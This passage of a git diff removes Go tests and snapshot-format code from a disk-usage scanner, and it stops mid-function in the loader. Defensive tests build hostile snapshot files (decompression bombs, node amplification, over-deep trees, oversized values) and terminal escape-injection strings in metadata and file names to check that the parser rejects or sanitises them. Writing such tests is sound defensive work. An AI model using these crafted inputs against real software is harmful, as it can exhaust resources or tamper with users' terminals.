-// mkTree creates dirs×files under root: root/d0/d1/... fan-out tree. -func mkTree(t testing.TB, root string, fanout, depth, files int) (nfiles, ndirs int64, bytes int64) { - var rec func(dir string, d int) - rec = func(dir string, d int) { - for i := range files { - sz := (i + 1) * 100 - if err := os.WriteFile(filepath.Join(dir, fmt.Sprintf("f%d.txt", i)), make([]byte, sz), 0o644); err != nil { - t.Fatal(err) - } - nfiles++ - bytes += int64(sz) - } - if d == depth { - return - } - for i := range fanout { - sub := filepath.Join(dir, fmt.Sprintf("d%d", i)) - if err := os.Mkdir(sub, 0o755); err != nil { - t.Fatal(err) - } - ndirs++ - rec(sub, d+1) - } - } - rec(root, 0) - return -} - -func runScan(t testing.TB, root string, o Options) *inventory.Tree { - s, err := Start(context.Background(), root, o) - if err != nil { - t.Fatal(err) - } - select { - case <-s.Done(): - case <-time.After(60 * time.Second): - t.Fatal("scan did not finish (deadlock?)") - } - return s.Tree -} - -func TestScanCountsAndAggregates(t *testing.T) { - root := t.TempDir() - nf, nd, bytes := mkTree(t, root, 3, 3, 4) - tr := runScan(t, root, Options{Workers: 4}) - r := tr.Node(tr.Root()) - if int64(r.Files) != nf || int64(r.Dirs) != nd { - t.Fatalf("files=%d dirs=%d, want %d %d", r.Files, r.Dirs, nf, nd) - } - // Logical total = file bytes + directory entries' own sizes. - var dirBytes int64 - for i := 0; i < tr.Len(); i++ { - if n := tr.Node(inventory.NodeID(i)); n.IsDir() { - dirBytes += n.Size - } - } - if r.TotSize != bytes+dirBytes { - t.Fatalf("TotSize=%d want %d", r.TotSize, bytes+dirBytes) - } - if !tr.Stats.Complete || tr.Stats.Incomplete() { - t.Fatalf("stats: %+v", tr.Stats) - } - // Every directory's aggregate equals the sum of its children. - checkAggregates(t, tr) - // Incremental aggregation must match a full recompute. - before := snapshotTotals(tr) - tr.Recompute() - if after := snapshotTotals(tr); fmt.Sprint(before) != fmt.Sprint(after) { - t.Fatal("incremental aggregates differ from recompute") - } -} - -func snapshotTotals(tr *inventory.Tree) [][4]int64 { - out := make([][4]int64, tr.Len()) - for i := range out { - n := tr.Node(inventory.NodeID(i)) - out[i] = [4]int64{n.TotSize, n.TotAlloc, int64(n.Files), int64(n.Dirs)} - } - return out -} - -func checkAggregates(t *testing.T, tr *inventory.Tree) { - t.Helper() - for i := 0; i < tr.Len(); i++ { - id := inventory.NodeID(i) - n := tr.Node(id) - if !n.IsDir() { - continue - } - sum := n.Size - tr.Children(id, func(_ inventory.NodeID, c *inventory.Node) { sum += c.TotSize }) - if sum != n.TotSize { - t.Fatalf("%s: TotSize %d != own+children %d", tr.Path(id), n.TotSize, sum) - } - } -} - -// TestBackpressureNoDeadlock forces maximum contention: one worker, channel -// capacities of one, tiny chunks, and thousands of directories. -func TestBackpressureNoDeadlock(t *testing.T) { - root := t.TempDir() - nf, nd, _ := mkTree(t, root, 6, 4, 3) // 1554 dirs - for _, w := range []int{1, 2, 16} { - tr := runScan(t, root, Options{Workers: w, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1, ApplyBatch: 1}) - r := tr.Node(tr.Root()) - if int64(r.Files) != nf || int64(r.Dirs) != nd { - t.Fatalf("workers=%d: files=%d dirs=%d want %d %d", w, r.Files, r.Dirs, nf, nd) - } - } -} - -func TestCancel(t *testing.T) { - root := t.TempDir() - mkTree(t, root, 8, 3, 2) - ctx, cancel := context.WithCancel(context.Background()) - s, err := Start(ctx, root, Options{Workers: 2, JobBuffer: 1, ResultBuf: 1, ChunkSize: 1}) - if err != nil { - t.Fatal(err) - } - cancel() - select { - case <-s.Done(): - case <-time.After(10 * time.Second): - t.Fatal("cancel did not stop scan") - } - tr := s.Tree - tr.RLock() - defer tr.RUnlock() - if !tr.Stats.Cancelled || !tr.Stats.Incomplete() { - t.Fatalf("expected cancelled+incomplete: %+v", tr.Stats) - } - // Workers must have exited: give the runtime a moment and check goroutines. - time.Sleep(50 * time.Millisecond) - if n := runtime.NumGoroutine(); n > 10 { - t.Logf("goroutines after cancel: %d", n) - } -} - -func TestSymlinkLoops(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("symlinks need privileges on Windows") - } - root := t.TempDir() - a := filepath.Join(root, "a") - os.MkdirAll(filepath.Join(a, "b"), 0o755) - os.WriteFile(filepath.Join(a, "b", "x"), make([]byte, 5000), 0o644) - os.Symlink("..", filepath.Join(a, "b", "up")) // loop - os.Symlink("../a", filepath.Join(a, "self")) // loop - os.Symlink("nowhere", filepath.Join(root, "broken")) - for _, f := range []FollowMode{FollowNone, FollowSameFS, FollowAll} { - tr := runScan(t, root, Options{Workers: 4, Follow: f}) - r := tr.Node(tr.Root()) - if r.Files == 0 || r.TotSize <= 5000 { - t.Fatalf("follow=%v: bad totals %+v", f, r) - } - if tr.Stats.BrokenLinks != 1 { - t.Fatalf("follow=%v: broken links %d", f, tr.Stats.BrokenLinks) - } - if f != FollowNone && tr.Stats.LoopsSkipped == 0 { - t.Fatalf("follow=%v: expected loops to be detected", f) - } - // The 5000-byte file must be counted exactly once. - var count int - for i := 0; i < tr.Len(); i++ { - if n := tr.Node(inventory.NodeID(i)); n.Name == "x" { - count++ - } - } - if count != 1 { - t.Fatalf("follow=%v: file x seen %d times", f, count) - } - } -} - -func TestHardlinksCountedOnce(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("hard-link identity not available on Windows") - } - root := t.TempDir() - p := filepath.Join(root, "orig") - os.WriteFile(p, make([]byte, 100000), 0o644) - os.Mkdir(filepath.Join(root, "d"), 0o755) - if err := os.Link(p, filepath.Join(root, "d", "link")); err != nil { - t.Skip(err) - } - tr := runScan(t, root, Options{Workers: 2}) - r := tr.Node(tr.Root()) - if tr.Stats.HardlinkDups != 1 { - t.Fatalf("dups=%d", tr.Stats.HardlinkDups) - } - if r.TotSize >= 200000 { - t.Fatalf("hard link double counted: %d", r.TotSize) - } -} - -func TestPermissionErrorsSurface(t *testing.T) { - if runtime.GOOS == "windows" || os.Geteuid() == 0 { - t.Skip("needs non-root unix") - } - root := t.TempDir() - locked := filepath.Join(root, "locked") - os.Mkdir(locked, 0o755) - os.WriteFile(filepath.Join(locked, "f"), []byte("x"), 0o644) - os.Chmod(locked, 0) - defer os.Chmod(locked, 0o755) - tr := runScan(t, root, Options{Workers: 2}) - if tr.Stats.ErrCounts[inventory.ErrPermission] != 1 || !tr.Stats.Incomplete() { - t.Fatalf("expected one permission error: %+v", tr.Stats.ErrCounts) - } - if tr.Node(tr.Root()).Errors != 1 { - t.Fatal("error not aggregated to root") - } -} - -func TestExcludes(t *testing.T) { - root := t.TempDir() - os.MkdirAll(filepath.Join(root, "keep"), 0o755) - os.MkdirAll(filepath.Join(root, "skip"), 0o755) - os.WriteFile(filepath.Join(root, "keep", "a.tmp"), []byte("x"), 0o644) - os.WriteFile(filepath.Join(root, "keep", "b.txt"), []byte("x"), 0o644) - os.WriteFile(filepath.Join(root, "skip", "c.txt"), []byte("x"), 0o644) - tr := runScan(t, root, Options{Workers: 2, Excludes: []string{"*.tmp", filepath.Join(root, "skip")}}) - if tr.Stats.Excluded != 2 || tr.Node(0).Files != 1 { - t.Fatalf("excluded=%d files=%d", tr.Stats.Excluded, tr.Node(0).Files) - } - // Relative path patterns resolve against the working directory. - t.Chdir(root) - tr = runScan(t, root, Options{Workers: 2, Excludes: []string{"./skip"}}) - if tr.Stats.Excluded != 1 { - t.Fatalf("relative exclude: excluded=%d", tr.Stats.Excluded) - } -} - -func TestUnicodeAndHostileNames(t *testing.T) { - root := t.TempDir() - names := []string{"日本語.txt", "emoji-🎉.png", "esc\x1b[31mred", "nl\nname", "sp ace"} - if runtime.GOOS == "windows" { - names = names[:2] - } - for _, n := range names { - if err := os.WriteFile(filepath.Join(root, n), []byte("x"), 0o644); err != nil { - t.Fatal(err) - } - } - tr := runScan(t, root, Options{Workers: 2}) - got := map[string]bool{} - tr.Children(0, func(_ inventory.NodeID, n *inventory.Node) { got[n.Name] = true }) - for _, n := range names { - if !got[n] { - t.Errorf("missing %q (raw names must be preserved)", n) - } - } -} - -func TestSingleFileRoot(t *testing.T) { - p := filepath.Join(t.TempDir(), "file") - os.WriteFile(p, make([]byte, 1234), 0o644) - tr := runScan(t, p, Options{}) - if tr.Node(0).TotSize != 1234 || tr.Node(0).Kind != inventory.KindFile { - t.Fatalf("%+v", tr.Node(0)) - } -} - -func BenchmarkScan(b *testing.B) { - root := b.TempDir() - mkTree(b, root, 5, 4, 20) - for _, w := range []int{1, 4, 16} { - b.Run(fmt.Sprintf("workers=%d", w), func(b *testing.B) { - for b.Loop() { - runScan(b, root, Options{Workers: w}) - } - }) - } -} diff --git a/internal/snapshot/compare.go b/internal/snapshot/compare.go deleted file mode 100644 index c797ff4..0000000 --- a/internal/snapshot/compare.go +++ /dev/null @@ -1,177 +0,0 @@ -package snapshot - -import ( - "sort" - - "github.com/andydixon/mapsize/internal/inventory" -) - -// Diff relates two inventories by path. Both trees must not be mutated -// while a Diff is in use (snapshots and finished scans satisfy this). -type Diff struct { - Old, New *inventory.Tree - // OldOf maps a New NodeID to the matching Old NodeID, or NoNode if the - // entry is new. - OldOf []inventory.NodeID - // Removed lists the topmost Old nodes with no counterpart in New. - Removed []inventory.NodeID - // RemovedUnder sums, per New directory, the sizes of removed children - // (in both size modes) so growth colouring can account for them. - removedUnder map[inventory.NodeID][2]int64 -} - -// Compare matches nodes by name, directory by directory, from the roots. -func Compare(old, new *inventory.Tree) *Diff { - d := &Diff{Old: old, New: new, OldOf: make([]inventory.NodeID, new.Len()), - removedUnder: map[inventory.NodeID][2]int64{}} - for i := range d.OldOf { - d.OldOf[i] = inventory.NoNode - } - type pair struct{ o, n inventory.NodeID } - stack := []pair{{old.Root(), new.Root()}} - for len(stack) > 0 { - p := stack[len(stack)-1] - stack = stack[:len(stack)-1] - d.OldOf[p.n] = p.o - on, nn := old.Node(p.o), new.Node(p.n) - if !on.IsDir() || !nn.IsDir() { - continue - } - byName := map[string]inventory.NodeID{} - old.Children(p.o, func(id inventory.NodeID, n *inventory.Node) { byName[n.Name] = id }) - new.Children(p.n, func(id inventory.NodeID, n *inventory.Node) { - if oid, ok := byName[n.Name]; ok { - delete(byName, n.Name) - stack = append(stack, pair{oid, id}) - } - }) - for _, oid := range byName { - d.Removed = append(d.Removed, oid) - o := old.Node(oid) - r := d.removedUnder[p.n] - r[0] += o.TotAlloc - r[1] += o.TotSize - d.removedUnder[p.n] = r - } - } - sort.Slice(d.Removed, func(i, j int) bool { return d.Removed[i] < d.Removed[j] }) - return d -} - -// OldSize returns the matching old size of a New node and whether it existed. -func (d *Diff) OldSize(id inventory.NodeID, m inventory.SizeMode) (int64, bool) { - o := d.OldOf[id] - if o == inventory.NoNode { - return 0, false - } - return d.Old.Node(o).Total(m), true -} - -// Delta returns new minus old size for a New node (full size if new). -func (d *Diff) Delta(id inventory.NodeID, m inventory.SizeMode) int64 { - old, _ := d.OldSize(id, m) - return d.New.Node(id).Total(m) - old -} - -// Status classifies a node. -type Status uint8 - -const ( - Unchanged Status = iota - Added - Removed - Grew - Shrank -) - -func (s Status) String() string { - return [...]string{"unchanged", "new", "removed", "increased", "decreased"}[s] -} - -// StatusOf classifies a New node. -func (d *Diff) StatusOf(id inventory.NodeID, m inventory.SizeMode) Status { - if d.OldOf[id] == inventory.NoNode { - return Added - } - switch delta := d.Delta(id, m); { - case delta > 0: - return Grew - case delta < 0: - return Shrank - } - return Unchanged -} - -// Change is one row in a change report. -type Change struct { - Path string - Status Status - Delta int64 - Old int64 - New int64 - Node inventory.NodeID // in New (NoNode for removed) -} - -// Changes returns the k most significant changes. A directory is listed -// only if its change is not almost entirely explained by a single child, so -// the report points at /var/lib/postgresql rather than /, /var and /var/lib. -func (d *Diff) Changes(k int, m inventory.SizeMode) []Change { - var out []Change - for i := range d.New.Len() { - id := inventory.NodeID(i) - delta := d.Delta(id, m) - if delta == 0 { - continue - } - n := d.New.Node(id) - if d.OldOf[id] != inventory.NoNode && n.IsDir() && explainedByChild(d, id, delta, m) { - continue - } - if p := n.Parent; p != inventory.NoNode && d.OldOf[p] == inventory.NoNode { - continue // inside a wholly new directory; the directory is listed - } - old, _ := d.OldSize(id, m) - out = append(out, Change{Path: d.New.Path(id), Status: d.StatusOf(id, m), Delta: delta, Old: old, New: n.Total(m), Node: id}) - } - for _, oid := range d.Removed { - o := d.Old.Node(oid) - out = append(out, Change{Path: d.Old.Path(oid), Status: Removed, Delta: -o.Total(m), Old: o.Total(m), Node: inventory.NoNode}) - } - sort.Slice(out, func(i, j int) bool { - a, b := abs(out[i].Delta), abs(out[j].Delta) - if a != b { - return a > b - } - return out[i].Path < out[j].Path - }) - if k > 0 && len(out) > k { - out = out[:k] - } - return out -} - -func explainedByChild(d *Diff, id inventory.NodeID, delta int64, m inventory.SizeMode) bool { - explained := false - d.New.Children(id, func(c inventory.NodeID, _ *inventory.Node) { - if cd := d.Delta(c, m); (cd > 0) == (delta > 0) && abs(cd)*10 >= abs(delta)*8 { - explained = true - } - }) - if r, ok := d.removedUnder[id]; ok && !explained { - v := r[0] - if m == inventory.SizeLogical { - v = r[1] - } - if delta < 0 && v*10 >= abs(delta)*8 { - explained = true - } - } - return explained -} - -func abs(v int64) int64 { - if v < 0 { - return -v - } - return v -} diff --git a/internal/snapshot/hostile_test.go b/internal/snapshot/hostile_test.go deleted file mode 100644 index c984b91..0000000 --- a/internal/snapshot/hostile_test.go +++ /dev/null @@ -1,160 +0,0 @@ -package snapshot - -import ( - "bytes" - "compress/gzip" - "crypto/sha256" - "encoding/binary" - "io" - "os" - "path/filepath" - "strings" - "testing" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/export" - "github.com/andydixon/mapsize/internal/inventory" -) - -// craft builds a well-formed (correctly checksummed) but hostile snapshot. -func craft(n int, meta string, rec func(i int, w *writer)) []byte { - var out bytes.Buffer - out.WriteString(brand.SnapshotMagic) - out.Write(binary.LittleEndian.AppendUint16(nil, Version)) - out.Write(binary.LittleEndian.AppendUint16(nil, flagGzipped)) - gz, _ := gzip.NewWriterLevel(&out, gzip.BestCompression) - h := sha256.New() - w := &writer{w: io.MultiWriter(gz, h)} - w.uvarint(uint64(len(meta))) - w.bytes([]byte(meta)) - w.uvarint(1) - w.str("") - w.uvarint(uint64(n)) - for i := range n { - rec(i, w) - } - w.uvarint(0) - gz.Close() - out.Write(h.Sum(nil)) - return out.Bytes() -} - -func node(w *writer, pd uint64, kind inventory.Kind, name string, size int64) { - w.uvarint(pd) - w.bytes([]byte{byte(kind), 0}) - w.uvarint(0) - w.str(name) - w.varint(size) - w.varint(size) - w.varint(0) - for range 5 { - w.uvarint(0) - } -} - -func chain(n int) []byte { - return craft(n, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, 1, inventory.KindDir, "a", 0) - } - }) -} - -func TestDeepChainRejected(t *testing.T) { - if _, err := Load(bytes.NewReader(chain(MaxDepth + 1))); err != nil { - t.Fatalf("depth at the limit must load: %v", err) - } - _, err := Load(bytes.NewReader(chain(MaxDepth + 2))) - if err == nil || !strings.Contains(err.Error(), "deeper") { - t.Fatalf("over-deep chain accepted: %v", err) - } -} - -func TestDecompressionBombLimited(t *testing.T) { - flat := craft(100_000, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, uint64(i), inventory.KindFile, "f", 0) - } - }) - _, err := LoadLimit(bytes.NewReader(flat), 64<<10) - if err == nil || !strings.Contains(err.Error(), "limit") { - t.Fatalf("bomb not limited: %v", err) - } - if got := bodyLimit(int64(len(flat))); got < 64<<20 { - t.Fatalf("bodyLimit floor: %d", got) - } -} - -func TestHugeSizesDoNotWrap(t *testing.T) { - data := craft(3, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, uint64(i), inventory.KindFile, "f", MaxSize) - } - }) - tr, err := Load(bytes.NewReader(data)) - if err != nil { - t.Fatal(err) - } - if tr.Node(0).TotSize < 0 { - t.Fatal("aggregate wrapped negative") - } - over := craft(2, `{"root":"/r"}`, func(i int, w *writer) { - if i == 0 { - node(w, 0, inventory.KindDir, "", 0) - } else { - node(w, 1, inventory.KindFile, "f", MaxSize+1) - } - }) - if _, err := Load(bytes.NewReader(over)); err == nil { - t.Fatal("size above MaxSize accepted") - } -} - -func TestHostileMetadataSanitisedInSummary(t *testing.T) { - data := craft(1, `{"root":"/r\u001b[2J","excludes":["\u001b]0;PWNED\u0007"],"excluded":1}`, func(i int, w *writer) { - node(w, 0, inventory.KindDir, "", 0) - }) - tr, err := Load(bytes.NewReader(data)) - if err != nil { - t.Fatal(err) - } - tr.Stats.Excluded = 1 - var b bytes.Buffer - export.Summary(&b, tr) - if strings.ContainsAny(b.String(), "\x1b\x07") { - t.Fatalf("raw control characters in summary: %q", b.String()) - } -} - -// Blocks of one directory plus K-1 files repeat byte for byte, so a small -// file describes millions of nodes; LoadFile must refuse before allocating. -func TestNodeAmplificationLimited(t *testing.T) { - const k, n = 1000, 1_200_001 - data := craft(n, `{"root":"/r"}`, func(i int, w *writer) { - switch { - case i == 0: - node(w, 0, inventory.KindDir, "", 0) - case i == 1: - node(w, 1, inventory.KindDir, "d", 0) - case (i-1)%k == 0: - node(w, k, inventory.KindDir, "d", 0) - default: - node(w, uint64((i-1)%k), inventory.KindFile, "f", 0) - } - }) - if _, err := Load(bytes.NewReader(data)); err != nil { - t.Fatalf("crafted tree is otherwise valid: %v", err) - } - p := filepath.Join(t.TempDir(), "amp.msz") - os.WriteFile(p, data, 0o644) - _, err := LoadFile(p) - if err == nil || !strings.Contains(err.Error(), "node count") { - t.Fatalf("%d nodes from a %d-byte file accepted: %v", n, len(data), err) - } -} diff --git a/internal/snapshot/snapshot.go b/internal/snapshot/snapshot.go deleted file mode 100644 index 059c89b..0000000 --- a/internal/snapshot/snapshot.go +++ /dev/null @@ -1,528 +0,0 @@ -// Package snapshot implements the versioned, checksummed binary inventory -// format and snapshot comparison. -// -// Layout (all integers little-endian / varint): -// -// magic 8 bytes brand.SnapshotMagic -// version uint16 currently 1 -// flags uint16 bit 0: body is gzip-compressed (always set by Save) -// body gzip stream of: -// meta uvarint length + JSON (root, timestamps, counters, options) -// exts uvarint count, then count × (uvarint length + bytes) -// nodes uvarint count, then per node: -// uvarint parentDelta (id-parent; 0 only for the root) -// byte kind, byte category, uvarint flags -// uvarint nameLen + name -// varint size, varint alloc, varint mtime -// uvarint mode, uid, gid, nlink, ext -// errors uvarint count, then per record: uvarint node, byte kind, -// uvarint len + name, uvarint len + message -// sha256 32 bytes over the uncompressed body -// -// Nodes are written in ID order; a parent always precedes its children, so a -// reader can rebuild the tree in one pass and malformed input cannot create -// cycles. Aggregates are recomputed on load, never trusted. -package snapshot - -import ( - "bufio" - "bytes" - "compress/gzip" - "crypto/sha256" - "encoding/binary" - "encoding/json" - "errors" - "fmt" - "io" - "os" - "strings" - "time" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/inventory" -) - -// Version is the current format version. -const Version = 1 - -// Limits applied when reading untrusted snapshots. -const ( - MaxNodes = 1<<31 - 1 - MaxDepth = 4096 // far beyond any real path; bounds recursion in exporters - MaxSize = 1 << 60 // per-node size cap (1 EiB); keeps aggregates from overflowing - // DefaultMaxBody caps the decompressed body for Load. LoadFile uses a - // limit proportional to the file size instead (see bodyLimit). - DefaultMaxBody = 4 << 30 - MaxNameLen = 1 << 16 - MaxMetaLen = 16 << 20 - MaxExtLen = 64 - MaxMsgLen = 4096 - maxExts = 1<<16 - 1 - flagGzipped = 1 -) - -type meta struct { - Root string `json:"root"` - Created time.Time `json:"created"` - Start time.Time `json:"start"` - End time.Time `json:"end"` - Complete bool `json:"complete"` - Cancelled bool `json:"cancelled"` - Files int64 `json:"files"` - Dirs int64 `json:"dirs"` - Symlinks int64 `json:"symlinks"` - Others int64 `json:"others"` - ErrCounts []int64 `json:"err_counts"` - Excluded int64 `json:"excluded"` - SkippedMounts int64 `json:"skipped_mounts"` - VirtualSkipped int64 `json:"virtual_skipped"` - LoopsSkipped int64 `json:"loops_skipped"` - BrokenLinks int64 `json:"broken_links"` - HardlinkDups int64 `json:"hardlink_dups"` - Unscanned int64 `json:"unscanned"` - Excludes []string `json:"excludes"` - OneFileSystem bool `json:"one_file_system"` - Follow string `json:"follow"` - Workers int `json:"workers"` - Host string `json:"host"` - Generator string `json:"generator"` -} - -// IsSnapshot reports whether path starts with the snapshot magic. -func IsSnapshot(path string) bool { - f, err := os.Open(path) - if err != nil { - return false - } - defer f.Close() - b := make([]byte, len(brand.SnapshotMagic)) - _, err = io.ReadFull(f, b) - return err == nil && string(b) == brand.SnapshotMagic -} - -type writer struct { - w io.Writer - buf [binary.MaxVarintLen64]byte - err error -} - -func (w *writer) bytes(b []byte) { - if w.err == nil { - _, w.err = w.w.Write(b) - } -} -func (w *writer) uvarint(v uint64) { w.bytes(w.buf[:binary.PutUvarint(w.buf[:], v)]) } -func (w *writer) varint(v int64) { w.bytes(w.buf[:binary.PutVarint(w.buf[:], v)]) } -func (w *writer) str(s string) { w.uvarint(uint64(len(s))); w.bytes([]byte(s)) } - -// Save writes t to w. The caller must hold t's read lock. -func Save(out io.Writer, t *inventory.Tree) error { - bw := bufio.NewWriterSize(out, 1<<20) - hdr := make([]byte, 0, 12) - hdr = append(hdr, brand.SnapshotMagic...) - hdr = binary.LittleEndian.AppendUint16(hdr, Version) - hdr = binary.LittleEndian.AppendUint16(hdr, flagGzipped) - bw.Write(hdr) - - gz, _ := gzip.NewWriterLevel(bw, gzip.BestSpeed) - h := sha256.New() - w := &writer{w: io.MultiWriter(gz, h)} - - st := &t.Stats - host, _ := os.Hostname() - m := meta{Root: st.Root, Created: time.Now().UTC(), Start: st.Start, End: st.End, Complete: st.Complete, - Cancelled: st.Cancelled, Files: st.Files, Dirs: st.Dirs, Symlinks: st.Symlinks, Others: st.Others, - ErrCounts: st.ErrCounts[:], Excluded: st.Excluded, SkippedMounts: st.SkippedMounts, - VirtualSkipped: st.VirtualSkipped, LoopsSkipped: st.LoopsSkipped, BrokenLinks: st.BrokenLinks, - HardlinkDups: st.HardlinkDups, Unscanned: st.Unscanned, Excludes: st.Excludes, - OneFileSystem: st.OneFileSystem, Follow: st.Follow, Workers: st.Workers, Host: host, - Generator: brand.Name + " " + brand.Version} - mb, err := json.Marshal(m) - if err != nil { - return err - } - w.uvarint(uint64(len(mb))) - w.bytes(mb) - - w.uvarint(uint64(t.ExtCount())) - for i := range t.ExtCount() { - w.str(t.ExtByIndex(i)) - } - w.uvarint(uint64(t.Len())) - for i := range t.Len() { - id := inventory.NodeID(i) - n := t.Node(id) - if i == 0 { - w.uvarint(0) - } else { - w.uvarint(uint64(id - n.Parent)) - } - w.bytes([]byte{byte(n.Kind), byte(n.Cat)}) - w.uvarint(uint64(n.Flags)) - w.str(n.Name) - w.varint(n.Size) - w.varint(n.Alloc) - w.varint(n.MTime) - w.uvarint(uint64(n.Mode)) - w.uvarint(uint64(n.UID)) - w.uvarint(uint64(n.GID)) - w.uvarint(uint64(n.Nlink)) - w.uvarint(uint64(n.Ext)) - } - w.uvarint(uint64(len(st.Errors))) - for _, e := range st.Errors { - w.uvarint(uint64(e.Node)) - w.bytes([]byte{byte(e.Kind)}) - w.str(e.Name) - w.str(e.Msg) - } - if w.err != nil { - return w.err - } - if err := gz.Close(); err != nil { - return err - } - bw.Write(h.Sum(nil)) - return bw.Flush() -} - -// SaveFile writes a snapshot atomically (temp file + rename). -func SaveFile(path string, t *inventory.Tree) error { - tmp, err := os.CreateTemp(dirOf(path), ".mapsize-*.tmp") - if err != nil { - return err - } - defer os.Remove(tmp.Name()) - if err := Save(tmp, t); err != nil { - tmp.Close() - return err - } - if err := tmp.Close(); err != nil { - return err - } - return os.Rename(tmp.Name(), path) -} - -func dirOf(p string) string { - i := strings.LastIndexAny(p, `/\`) - if i < 0 { - return "." - } - if i == 0 { - return p[:1] - } - return p[:i] -} - -type reader struct { - r *bufio.Reader - err error -} - -func (r *reader) fail(format string, a ...any) { - if r.err == nil { - r.err = fmt.Errorf("snapshot: "+format, a...) - } -} - -func (r *reader) byte1() byte { - if r.err != nil { - return 0 - } - b, err := r.r.ReadByte() - if err != nil { - r.fail("truncated: %v", err) - } - return b -} - -func (r *reader) uvarint(max uint64, what string) uint64 { - if r.err != nil { - return 0 - } - v, err := readUvarint(r.r) - if err != nil { - r.fail("bad %s: %v", what, err) - return 0 - } - if v > max { - r.fail("%s %d exceeds limit %d", what, v, max) - return 0 - } - return v -} - -func (r *reader) varint(what string) int64 { - if r.err != nil { - return 0 - } - ux, err := readUvarint(r.r) - if err != nil { - r.fail("bad %s: %v", what, err) - } - v := int64(ux >> 1) // zig-zag, as encoding/binary.PutVarint - if ux&1 != 0 { - v = ^v - } - return v -} - -var errOverflow = errors.New("varint overflows 64 bits") - -// readUvarint is encoding/binary.ReadUvarint specialised to *bufio.Reader -// (no interface dispatch per byte; this is the loader's hot loop). -func readUvarint(br *bufio.Reader) (uint64, error) { - var x uint64 - var s uint - for i := 0; i < binary.MaxVarintLen64; i++ { - b, err := br.ReadByte() - if err != nil { - if i > 0 && err == io.EOF { - err = io.ErrUnexpectedEOF - } - return x, err - } - if b < 0x80 { - if i == binary.MaxVarintLen64-1 && b > 1 { - return x, errOverflow - } - return x | uint64(b)< l.n { - p = p[:l.n] - } - n, err := l.r.Read(p) - l.n -= int64(n) - return n, err -} - -// bodyLimit allows decompressed bodies up to 64× the compressed file size -// (real snapshots compress ~6×), with a 64 MiB floor for tiny files. -func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) } - -// nodeLimit caps the node count for a file of fileSize bytes. Real -// snapshots spend ~15 compressed bytes per node; a crafted one describes a -// node in a fraction of a byte, so without this a 1 MB file can demand -// gigabytes of memory while staying within bodyLimit. -func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) } - -// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes -// of decompressed data. -func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) } - -// LoadLimit is Load with an explicit decompressed-size limit. -func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) { - return load(in, maxBody, MaxNodes) -} - -func load(in io.Reader, maxBody int64, maxNodes uint64) (*inventory.Tree, error) { - br := bufio.NewReaderSize(in, 1<<20) - hdr := make([]byte, len(brand.SnapshotMagic)+4) - if _, err := io.ReadFull(br, hdr); err != nil { - return nil, errors.New("snapshot: file too short") - } - if string(hdr[:8]) != brand.SnapshotMagic { - return nil, errors.New("snapshot: not a " + brand.Name + " snapshot") - } - if v := binary.LittleEndian.Uint16(hdr[8:]); v != Version { - return nil, fmt.Errorf("snapshot: unsupported version %d (this build reads %d)", v, Version) - } - if binary.LittleEndian.Uint16(hdr[10:])&flagGzipped == 0 { - return nil, errors.New("snapshot: uncompressed bodies are not supported") - } - gz, err := gzip.NewReader(br) - if err != nil { - return nil, fmt.Errorf("snapshot: %w", err) - } - gz.Multistream(false) - // Decompression and hashing run on their own goroutine, overlapping - // with parsing. The pipe's close orders the hash and br accesses: the - // parser only sees EOF after the copier has finished with both. - h := sha256.New() - pr, pw := io.Pipe() - defer pr.Close() // unblocks the copier if we bail out early - go func() { - _, err := io.CopyBuffer(pw, io.TeeReader(&limitedReader{gz, maxBody}, h), make([]byte, 256<<10)) - pw.CloseWithError(err) - }() - r := &reader{r: bufio.NewReaderSize(pr, 1<<16)} - - var m meta - if mb := r.bytesN(r.uvarint(MaxMetaLen, "metadata length")); r.err == nil { - if err := json.Unmarshal(mb, &m); err != nil { - return nil, fmt.Errorf("snapshot: metadata: %w", err) - } - } - if r.err != nil { - return nil, r.err - } - t := inventory.New(m.Root, inventory.KindDir) - nExt := r.uvarint(maxExts, "extension count") - exts := make([]string, 0, min(nExt, 1024)) - for range nExt { - exts = append(exts, r.str(MaxExtLen, "extension")) - } - if r.err != nil { - return nil, r.err - } - extIndex := t.ExtIndexer() - nNodes := r.uvarint(maxNodes, "node count") - depth := []uint16{0} // per node, for the depth limit; parents precede children - if r.err != nil { - return nil, r.err - } - if nNodes == 0 { - return nil, errors.New("snapshot: no root node") - } - for i := uint64(0); i < nNodes && r.err == nil; i++ { - pd := r.uvarint(MaxNodes, "parent") - kind := inventory.Kind(r.byte1()) - cat := inventory.Category(r.byte1()) - flags := inventory.Flags(r.uvarint(1<<16-1, "flags")) - name := r.str(MaxNameLen, "name") - size, alloc, mtime := r.varint("size"), r.varint("alloc"), r.varint("mtime") - mode := r.uvarint(1<<32-1, "mode") - uid := r.uvarint(1<<32-1, "uid") - gid := r.uvarint(1<<32-1, "gid") - nlink := r.uvarint(1<<32-1, "nlink") - ext := r.uvarint(nExt, "ext") - if r.err != nil { - break - } - if kind > inventory.KindOther || cat >= inventory.NumCategories { - r.fail("node %d: invalid kind/category", i) - break - } - if size < 0 || alloc < 0 || size > MaxSize || alloc > MaxSize { - r.fail("node %d: size out of range", i) - break - } - var id inventory.NodeID - if i == 0 { - if pd != 0 || kind != inventory.KindDir && nNodes > 1 { - r.fail("invalid root") - break - } - id = 0 - rn := t.Node(0) - rn.Kind = kind - } else { - if pd == 0 || pd > i { - r.fail("node %d: invalid parent reference", i) - break - } - parent := inventory.NodeID(i - pd) - if t.Node(parent).Kind != inventory.KindDir { - r.fail("node %d: parent is not a directory", i) - break - } - if !validName(name) { - r.fail("node %d: invalid name %q", i, name) - break - } - if d := depth[parent] + 1; d > MaxDepth { - r.fail("node %d: deeper than %d levels", i, MaxDepth) - break - } - id = t.Add(parent, name, kind) - depth 